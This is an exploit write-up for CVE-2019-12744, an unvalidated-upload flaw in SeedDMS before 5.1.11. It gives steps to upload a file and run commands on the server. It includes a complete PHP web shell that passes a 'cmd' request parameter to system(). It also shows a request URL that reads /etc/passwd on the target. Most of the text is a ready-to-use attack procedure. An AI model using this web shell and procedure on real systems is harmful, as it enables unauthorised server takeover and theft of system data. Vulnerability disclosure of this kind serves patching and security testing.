SeedDMS versions < 5.1.11 - Remote Command Execution

# Exploit Title: [Remote Command Execution through Unvalidated File Upload in SeedDMS versions <5.1.11]
# Google Dork: [NA]
# Date: [20-June-2019]
# Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com)
# Vendor Homepage: [https://www.seeddms.org]
# Software Link: [https://sourceforge.net/projects/seeddms/files/]
# Version: [SeedDMS versions <5.1.11] (REQUIRED)
# Tested on: [NA]
# CVE : [CVE-2019-12744]

Exploit Steps:

Step 1: Login to the application and under any folder add a document.
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.

PHP Backdoor Code: 
<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Step 3: Now after uploading the file check the document id corresponding to the document.
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.

Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.